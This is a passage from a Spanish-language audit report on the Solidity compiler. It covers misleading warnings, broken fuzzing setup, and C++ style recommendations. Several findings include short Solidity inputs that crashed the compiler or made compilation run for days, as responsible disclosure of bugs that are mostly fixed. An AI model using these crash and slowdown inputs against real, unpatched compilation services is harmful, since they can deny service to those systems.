7   function foo() public {
8    uint256[] b;
9    b.push(5);
10   b.push(6);
11   b.push(7);
12  }
13 }
```

Si bien se emite una advertencia para estos contratos sobre un uninitialized storage pointer (puntero de almacenamiento no inicializado, y esto se señala en la documentación), aún se pueden compilar e implementar. El código que emite esta advertencia siempre será incorrecto, por lo que no tiene sentido permitir que se compile. Se recomendó considerar hacer de esto un error de falla.

Actualidad: esta advertencia ya se ha convertido en un error y el cambio se publicó en la versión v0.5.0.

1.1.9.2 La falta de la declaración de un retorno en una función no emite un error.

Cuando una función se declara con un parámetro de retorno, pero el cuerpo de la función no tiene la declaración de return, el compilador no muestra un error, ni advierte al usuario sobre esto.

Para ilustrar, considere los siguientes ejemplos de código, en los que no solo las funciones que declaran un valor devuelto no lo devuelven, sino que otras funciones intentan usar los valores devueltos sin quejas del compilador.

Código de ejemplo:

```
1  pragma solidity ^0.4.24;
2  contract Empty {
3   int variableName;
4   constructor() public {
5     variableName = 0;
6   }
7   function emptyReturn() public pure returns (int) { }
8   function setWithEmptyReturn() public {
9     variableName = emptyReturn();
10  }
11 }
```

Se recomendó considerar el uso del análisis de flujo de control para advertir a los usuarios cuando una función declara un parámetro de retorno pero no devuelve nada.

Actualidad: este problema se encuentra en el issue #4751 y se etiquetó como language design.

1.1.9.3 Los modificadores pueden utilizar un retorno (return).

Si bien los modificadores requieren el carácter '_' para indicar dónde se ejecutará el cuerpo de la función, pueden retornar antes de dicha ejecución, deshabilitando toda la función a la que se aplica el modificador.

En el siguiente código, la asignación a la variable 'a' nunca se ejecuta, pero se compila sin advertencias:

```
1  pragma solidity ^0.4.24;
2  contract Disabled {
3   uint256 a;
4   modifier disable() {
5    return;
6    _;
7   }
8   function foo() disable public {
9    a = 42;
10  }
11 }
```

Mientras que retornar en un modificador a veces tiene sentido, el retorno generalmente no lo es, especialmente considerando que las diferentes funciones tendrán diferentes signatures y tipos de valor de retorno.

Se recomendó considerar el rechazo de retornos dentro de un modificador.

Actualidad: Se creó el issue #2340, y se vió solucionado en la versión v0.5.3 con el pull request #5765.

1.1.9.4 No hay error al llamar de manera externa el código del constructor de un contrato.

El uso de la palabra this en el cuerpo del constructor de un contrato para llamar a otras funciones dentro del contrato significa que la llamada se realizará en un contexto externo (es decir, no con un salto regular). Dado que el bytecode del contrato en tiempo de ejecución no existe en el momento en que se ejecuta el cuerpo del constructor, usar this para llamar a una función pública o externa dentro de un constructor siempre será inválido.

El compilador emite una advertencia para esto, pero considerando que un constructor con tal problema siempre revertirá (revert), el compilador debería generar un error en su lugar.

```
pragma solidity ^0.4.24;
contract ConstructorThis {
 constructor () public {
   this.foo();
 }
 function foo() external pure {}
}
```

```
Warning: "this" used in constructor. Note that external functions of a contract
    cannot be called while it is being constructed.
  this.foo();
  ^--^
```

Se recomendó considerar hacer de esta advertencia un error para indicar mejor que este uso del idioma es incorrecto.

Actualidad: el equipo de Solidity respondió: "Hay que tener en cuenta que el uso de ‘ this.f‘ sigue siendo válido en el constructor y tiene un caso de uso específico: enviar una función a otro contrato como un mecanismo de devolución de llamada".

1.1.9.5 No hay advertencia para dead code (código muerto).

Las funciones pueden tener sentencias que nunca se alcanzarán (debido a un retorno anticipado), pero el compilador no emitirá advertencias para éstas, incluso si tienen efectos secundarios.
El siguiente código compila sin advertencias:

```
pragma solidity ^0.4.24;
contract DeadCode {
 uint256 a;
 function foo() public {
  return;
  a = 42;
 }
}
```

Los compiladores de otros lenguajes (como clang, rustc, entre otros) emitirán una advertencia en estas situaciones, se recomienda considerar la posibilidad de emular este comportamiento.

Actualidad: se discutió en el issue #2340, y se implementó en la versión v0.5.3 con el pull request #5765.

1.1.10 Problemas en torno a técnicas blackbox.

Esta sección cubre un análisis sobre la configuración de fuzzing del proyecto Solidity y los problemas encontrados aplicando técnicas complementarias.

Como alternativa a la creación de solc, hay una opción para compilar un binario llamado solfuzzer. Este archivo, fuzzer.cpp se construye como un punto de entrada para el Fuzzy Lop fuzzer estadounidense (AFL), utilizando su propio compilador que podrá instrumentarlo para su uso posterior con el resto de su frmework. Con la ayuda de un archivo Python en la carpeta de scripts llamada `isolate\_tests.py`, que se utiliza para extraer el código de Solidity de los archivos existentes, AFL testea utilizando black-box a solfuzzer como binario de entrada.

1.1.10.1 La configuración de fuzzing está rota.

Aplicar fuzzing es una muy buena garantía que puede llevar a encontrar errores significativos. En el proyecto Solidity no se estuvo realizando correctamente durante más de un año.

El propósito principal de solfuzzer es compilar archivos de entrada y verificar si se detecta algún error. Si se detecta un error basándose en una lista proporcionada de mensajes de error esperados, termina la ejecución notificando que se encontró un error.

El mensaje de error cambió hace un año desde el momento en el que se inició la investigación y la lista de errores del archivo nunca se actualizó, por lo que las detecciones no funcionaron, afectando a todo el fuzzing y también a las pruebas en cmdLineTests.sh que utilizaban la misma lista.

Se recomendó considere arreglar las pruebas de fuzzing y verificar periódicamente si funcionan correctamente.

Actualidad: Este issue ha sido resuelto.

1.1.10.2 Fallo al intentar declarar una variable ya declarada con el mismo nombre.

El analizador no detecta una variable previamente declarada cuando declara una nueva, mientras usa pragma experimental.

Código de ejemplo:

```
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
contract CrashContract {
  function f() view public {
    int variableDefinedTwice;
    address variableDefinedTwice;
  }
}
```

Actualidad: Ver la descripción de este issue. El team de Solidity respondió que el problema ha sido resuelto efectivamente.

1.1.10.3 Fallo al convertir la un racional con signo utilizando ABIEncoderV2

El compilador se bloquea en la generación del código de assembler cuando se utiliza pragma experimental ABIEncoderv2 para codificar un racional con signo.

Código de ejemplo:

```
pragma solidity ^0.4.24;
pragma experimental ABIEncoderV2;
contract CrashContract {
 function f1() public pure returns (bytes) {
   return abi.encode(1,-2);
  }
}
```

Actualidad: La descripción de este problema se encuentra en el issue #4706, y se ha solucionado en PR#4720.

1.1.10.4 fuzzer.cpp y solfuzzer tienen nombres poco intuitivos.

fuzzer.cpp y su resultante, solfuzzer, tienen nombres contraintuitivos: solfuzzer es un punto de entrada para AFL u otros fuzzers que funcionan con instrumentación, pero no es un fuzzer por sí solo. Esto puede hacer que los usuarios piensen que están aplicando fuzzing cuando en realidad no lo están.

La sección de documentación también se titula 'Ejecutando el Fuzzer a través de AFL'; pero AFL en sí es el fuzzer, no el binario compilado.

Se recomendó considerar el cambio de el nombre del punto de entrada a algo que transmita claramente su propósito.

Actualidad: fuzzer.cpp ha sido renombrado a `afl_fuzzer.cpp`, sólo para diferenciar con qué tipo de fuzzer realmente trabaja, pero el concepto del problema permanece vigente.

1.1.10.5 El ejemplo de la documentación respecto a AFL no funciona.

Las pruebas de aislamiento, como se muestra en la sección "Contribuyendo sobre fuzzing", no funcionan. El script `isolate_tests.py` funciona con directorios como se usa en los scripts de prueba, pero no acepta archivos individuales como forma de entrada tal como se muestra en los ejemplos.

Se recomendó considerar arreglar el script `isolate_tests.py` para que pueda aceptar archivos individuales.

Actualidad: ya se ha incorporado una solución propuesta para solucionar este problema.

1.1.10.6 Planificación de pruebas de fuzzing y su visibilidad.

Las pruebas de fuzzing no se realizan periódicamente ni públicamente, tampoco los resultados se hacen visibles a la comunidad. Adicionalmente no está claro en qué parte del proceso de desarrollo o el conjunto de pruebas está integrado.

Además de proporcionar una guía para configurar el fuzzer, se recomendó considerar publicar los resultados y la información al público después de aplicar fuzzing antes de cada lanzamiento. Actualidad: Una propuesta para integrarse en un servicio público de fuzzing en el issue #5212 ha sido incorporada en las últimas versiones utilizando oss-fuzz.

1.1.10.7 Fallo cuando el tipo de dato solicitado no se encuentra presente.

El compilador interrumpe su ejecución repentinamente cuando hay variables de estado con el mismo nombre que una función.

Código de ejemplo:

```
1 pragma solidity ^0.4.24;
2 contract C {
3   uint256 public f = 0;
4   function f() public pure {}
5 }
```

Actualidad: una descripción más detallada se encuentra en el issue #4417. El problema se solucionó en PR#4508.

1.1.10.8 Fallo cuando se accede al slot de una variable de nombre vacío.

El analizador no detecta el mal uso de la sintáxis `_slot` sobre una variable con nombre vacío.

Código de ejemplo:

```
pragma solidity ^0.4.24;
contract CrashContract {
   function () internal {
       assembly {
           _slot
       }
   }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4707. El problema se solucionó en PR#4724.

1.1.10.9 Fallo cuando no se setea el tipo para el valor de retorno del parámetro.

El analizador no reconoce que la variable de retorno no tiene su tipo en la declaración de variable del tipo en el caso de una función sin nombre.

Código de ejemplo #1:

```
pragma solidity ^0.4.24;
contract CrashContract {
  function () returns (variableNameWithoutType) variableName;
}
```

Código de ejemplo #2:

```
pragma solidity ^0.4.24;
contract CrashContract {
  function() internal returns (zeppelin)[] x;
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4708. El problema se encuentra solucionado en las versiones siguientes.

1.1.10.10 Fallo cuando no se setea el tipo para un parámetro de una función.

El analizador no reconoce que a una variable le falta su tipo en los parámetros de la función; ocurre al tener un contexto en el que se define una función sin nombre que retorna una matriz.

Código de ejemplo:

```
pragma solidity ^0.4.24;
contract CrashContract {
  function(parameterWithoutType) internal returns (uint)[] y;
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4709. El problema se encuentra solucionado en las versiones siguientes.

1.1.10.11 Fallo al acceder al slot de una función en un bloque assembler.

El método visit falla al acceder al `_slot` de una función dentro de un bloque assembler de esa misma función.

Código de ejemplo:

```
pragma solidity ^0.4.24;
contract CrashContract {
  function f() pure public {
    assembly {
      function g() -> x { x := f_slot }
    }
  }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4710. El problema se solucionó en PR#4729.

1.1.10.12 Fallo al llamar a un tipo no llamable en una asignación doble de tipo no primitivo.

El compilador falla cuando se usa un tipo no llamable (int, uint, struct, etc.) fuera de una doble asignación que involucra structs.

Código de ejemplo:

```
pragma solidity ^0.4.24;
contract CrashContract {
  struct S { }
  S x;
  function f() public {
    (x, x) = 1(x, x);
  }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4711. El problema se solucionó en PR #4736.

1.1.10.13 Fallo al utilizar instrucciones assembler de salto dentro de un constructor o función con el mismo nombre que el contrato.

La generación de código falla cuando hay una instrucción jump dentro de un bloque assembler que está dentro de una función con el mismo nombre que el contrato o un constructor.
Código de ejemplo #1:

```
pragma solidity ^0.4.24;
contract f {
  function zeppelin() {}
  function f() {
    assembly {
      jump(zeppelin)
    }
  }
}
```

Example code #2:

```
contract CrashContract {
  function zeppelin() {}
  constructor() {
    assembly {
      jump(zeppelin)
    }
  }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4712.

1.1.10.14 El equipo de Solidity respondió que la instrucción de salto fue eliminada.

Detenimiento abrupto en diversas situaciones al utilizar el pragma experimental ABIEncoderV2. Un arreglo de structs que está compuesto de uno o más arreglos es utilizado como parámetro en una función externa de una biblioteca.

Código de ejemplo:

```
pragma experimental ABIEncoderV2;
pragma solidity ^0.4.24;
library Test {
  struct Nested { int[] a; }
  function Y(Nested[]) external {}
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4713. El problema se solucionó en PR#4738.

Al utilizar struct como un parámetro de una función externa.
Código de ejemplo:

```
pragma experimental ABIEncoderV2;
pragma solidity ^0.4.24;
library Test {
  struct Nested { }
  function Y(Nested a) external {}
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4714. El problema se solucionó en PR#4738.

En la etapa de generación de bytecode al utilizar el método encode() de la ABI para un tipo de punto flotante.

Código de ejemplo:

```
pragma solidity ^0.4.24;
pragma experimental ABIEncoderV2;
contract C {
  function f1() public pure returns (bytes) {
    return abi.encode(0.1, 1);
  }
}
```

Actualidad: se creó el issue #4715, y finalmente una solución PR#5807 se incorporó en la versión v0.5.3.

1.1.10.15 Fallo cuando el índice de un arreglo es sumamente largo.

El compilador se bloquea si un tipo racional de más de 78 dígitos está presente como un índice de un arreglo.

Código de ejemplo:

```
pragma solidity ^0.4.24;
contract CrashContract {
  function f() returns (string) {
        return (["zeppelin"
            ][12345678901234567890123456789012345678901234567890123456789012345678])
            ;
  }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4716. El problema se solucionó en PR#4872.

1.1.10.16 Gran uso de ciclos del CPU al convertir literales numéricos.

El uso de valores numéricos literales aumenta el tiempo de compilación y el uso de la CPU, con un mayor retraso cuando es más grande, siendo 0e2147399999 el número más alto posible. La compilación puede tardar varios días y mucho más.

Código de ejemplo:

```
pragma solidity ^0.4.24;
contract VerySlowContract {
  function test() public returns (uint256) {
    return 0e2147399999;
  }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4717. El problema se solucionó en PR#4765.

1.1.10.17 Gran uso de ciclos del CPU al utilizar nombres de variables largos.

El tiempo de compilación se ve incrementado al utilizar nombres de variables grandes, con una latencia aparentemente mayor cuando las variables son más grandes y similares. La compilación puede llevar varios días o más.

Código de ejemplo: Nota: el código a continuación está truncado, el código completo se puede encontrar aquí.

```
pragma solidity ^0.4.24;
contract VerySlowContract {
  function f() public {
    int YYYYYYY...YYYYYYYYY = YYYYYYYYYY....YYYYYYYY;
  }
}
```

Actualidad: una descripción más detallada se encuentra en el issue #4718. El problema se solucionó en PR#4797.

1.1.11 Observaciones relacionadas a requerimientos no funcionales

Se recomendó considerar las siguientes recomendaciones para mejorar la calidad del sistema. Un issue #5168 se abrió para llevar registro del proceso. Herramientas como clang-tidy proporcionan una útil perspectiva después de analizar el código fuente del proyecto.

Modernización

- Utilizar auto a la hora de declarar iteradores e inicializarlos con un casteo para evitar duplicados.
- Utilizar nullptr en vez de NULL. Update: Corregido en PR#5180.
- Utilizar `emplace_back` en lugar de `push_back`.
- Evitar repetir el tipo de retorno en declaración; en su lugar, utilizar una lista de inicialización mediante llaves.
- Utilizar bool literal en lugar de representaciones a enteros.
- Strings literales escapados deberían escribirse como strings literales en raw (crudo).
- Utilizar cctype en lugar del header deprecado C++ ctype.h. Corregido en PR#5180.
- Utilizar cstdio en lugar del header deprecado C++ stdio.h. Update: Corregido en PR#5180.
- Utilizar el keyword de C++11 override sobre virtual para una anulación de una clase derivada.
- Utilizar `'= default'` para definir un constructor trivial por defecto.
- Utilizar `std::make_unique` en lugar de of `std::unique_ptr`. Actualmente se realizaron cambios en torno a esto: PR#6712, PR#5694.
- Cuando una función es declarada con override remover virtual por redundancia.

Readability

- Reemplazar `boost::lexical_cast<std::string>` con `std::to_string` para tipos fundamentales. Corregido en PR#4753.
- Reducir conversiones implícitas mediante built-in types (tipos incorporados) y booleanos.
- Utilizar los mismos nombres para todos los parámetros, en la declaración tanto como en la implementación.
- Acceder a miembros estáticos directamente, y no a través de instancias.

- Utilizar empty() en lugar de size a la hora de chequear por vacío en un contenedor. Corregido en PR#5180.
- Normalizar nombres de parámetros en declaraciones (*.h) para que no difieran con sus implementaciones (*.cpp).
- Evitar utilizar static dentro de namespaces anónimos, ya que namespace limita la visibilidad de las definiciones a una unidad de traducción individual.

Performance

- Utilizar búsquedas de caracteres individuales literales cuando sea posible (por ejemplo `'\n'` en lugar de `"\n"`). Corregido en PR#5180.
- Utilizar referencias con const para variables utilizadas en iteraciones que son copiadas pero sólo usadas como referencias constantes.
- Si una variable es construida mediante copia (auto) de una referencia const, utilizar `const &`.
- Utilizar append() en lugar de operator=+ a la hora de concatenar strings.
- Quitar std::move en tipos que usen const o que trivialmente sean tipos copiables.

Se referencia a más información sobre este tipo de pautas aquí[] y aquí[].

Bibliography

[1] *Bus Factor, Wikipedia.* URL: https://en.wikipedia.org/wiki/Bus_factor.

[2] *CMake file for cpp-ethereum. Compiler settings.* URL: https://github.com/ethereum/solidity/blob/v0.4.24/cmake/EthCompilerSettings.cmake.

[3] *Code coverage for Ethereum Solidity, codecov.io.* URL: https://codecov.io/gh/ethereum/solidity/tree/9508406984c1e83e6ce571af4af593c33aed52e6.

[4] *Code coverage for Ethereum Solidity, codecov.io.* URL: https://codecov.io/gh/ethereum/solidity.

[5] *Contrato malicioso verificado. Etherscan, Ropsten.* URL: https://ropsten.etherscan.io/address/0xb2a840de7569f4eee2e4677da65eae6890db4d6d#code.

[6] *Contributing - Running the compiler tests. Solidity Docs.* URL: https://github.com/ethereum/solidity/blob/v0.4.24/docs/contributing.rst#running-the-compiler-tests.

[7] *Contributors to ethereum/solidity March, GitHub.* URL: https://github.com/ethereum/solidity/graphs/contributors?from=2018-03-01&to=2019-07-17&type=c.

[8] *Contributors to ethereum/solidity, GitHub.* URL: https://github.com/ethereum/solidity/graphs/contributors.

[9] *ENV33-C. Do not call system(), Carnegie Mellon University.* URL: https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152177.

[10] *External dependencies - Installing Solidity. Read the docs.* URL: https://solidity.readthedocs.io/en/v0.4.24/installing-solidity.html#external-dependencies.

[11] *Install dependencies scruipt, Solidity GitHub.* URL: https://github.com/ethereum/solidity/blob/v0.4.24/scripts/install_deps.sh.

[12] *Issue: Add code coverage CI #2663.* URL: https://github.com/ethereum/solidity/issues/2663.

[13] *Issue: Add gas usage tests #5165.* URL: https://github.com/ethereum/solidity/issues/5165.

[14] *Issue: Add performance tests #5252.* URL: https://github.com/ethereum/solidity/issues/5252.

[15] *Issue: Add some guards around the editor execution in isoltest. #5159.* URL: https://github.com/ethereum/solidity/issues/5159.

[16] *Issue: Add workarounds for building against CVC4 on ArchLinux. #4767.* URL: https://github.com/ethereum/solidity/issues/4767.

[17] *Issue: Build failures with CVC4, e.g. on ArchLinux #4762.* URL: https://github.com/ethereum/solidity/issues/4762.

[18] *Issue: Cropped link path in generated bytecode #4429.* URL: https://github.com/ethereum/solidity/issues/4429.

[19] *Issue: Improve "running the tests" section #5166.* URL: https://github.com/ethereum/solidity/issues/5166.

[20] *Issue: Improving library names for the linker #579.* URL: https://github.com/ethereum/solidity/issues/579.

[21] *Issue: Support Manjaro Linux distributions in dependencies script #4377.* URL: https://github.com/ethereum/solidity/issues/4377.

[22] *Issue: Truncate linkerObject at the beginning, not end #3918.* URL: https://github.com/ethereum/solidity/pull/3918.

[23] *IULIA Optimiser, Ethereum Solidity GitHub.* URL: https://github.com/ethereum/solidity/blob/v0.4.24/libjulia/optimiser/README.md.

[24] *Pull Request: Add workarounds for building against CVC4 on ArchLinux. #4767.* URL: https://github.com/ethereum/solidity/pull/4767.

[25] *Pull Request: Docs: Adding AFL's alternative configuration with clang. #4360.* URL: https://github.com/ethereum/solidity/pull/4360.

[26] *Pull Request: Hash linker #5145.* URL: https://github.com/ethereum/solidity/pull/5145.

[27] *Pull Request:CMake policies #4560.* URL: https://github.com/ethereum/solidity/pull/4560.

[28] *Security Development Lifecycle (SDL) Banned Function Calls, Microsoft.* URL: https://docs.microsoft.com/en-us/previous-versions/bb288454(v=msdn.10)?redirectedfrom=MSDN.

[29] *Solidity Coding Style. GitHub.* URL: https://github.com/ethereum/solidity/blob/v0.5.13/CODING_STYLE.md.

[30] *Solidity Compiler Audit by Zeppelin.* URL: https://blog.openzeppelin.com/solidity-compiler-audit-8cfc0316a420/.

[31] *Solidity Compiler Audit Report by Coinspect.* URL: https://medium.com/@AugurProject/solidity-compiler-audit-report-1832cedb50a8.

[32] *Unicode line breaking algorithm.* URL: https://www.unicode.org/reports/tr14/tr14-32.html.

[33] *Yul Optimiser, Ethereum Solidity GitHub.* URL: https://github.com/ethereum/solidity/blob/v0.5.13/libyul/optimiser/README.md.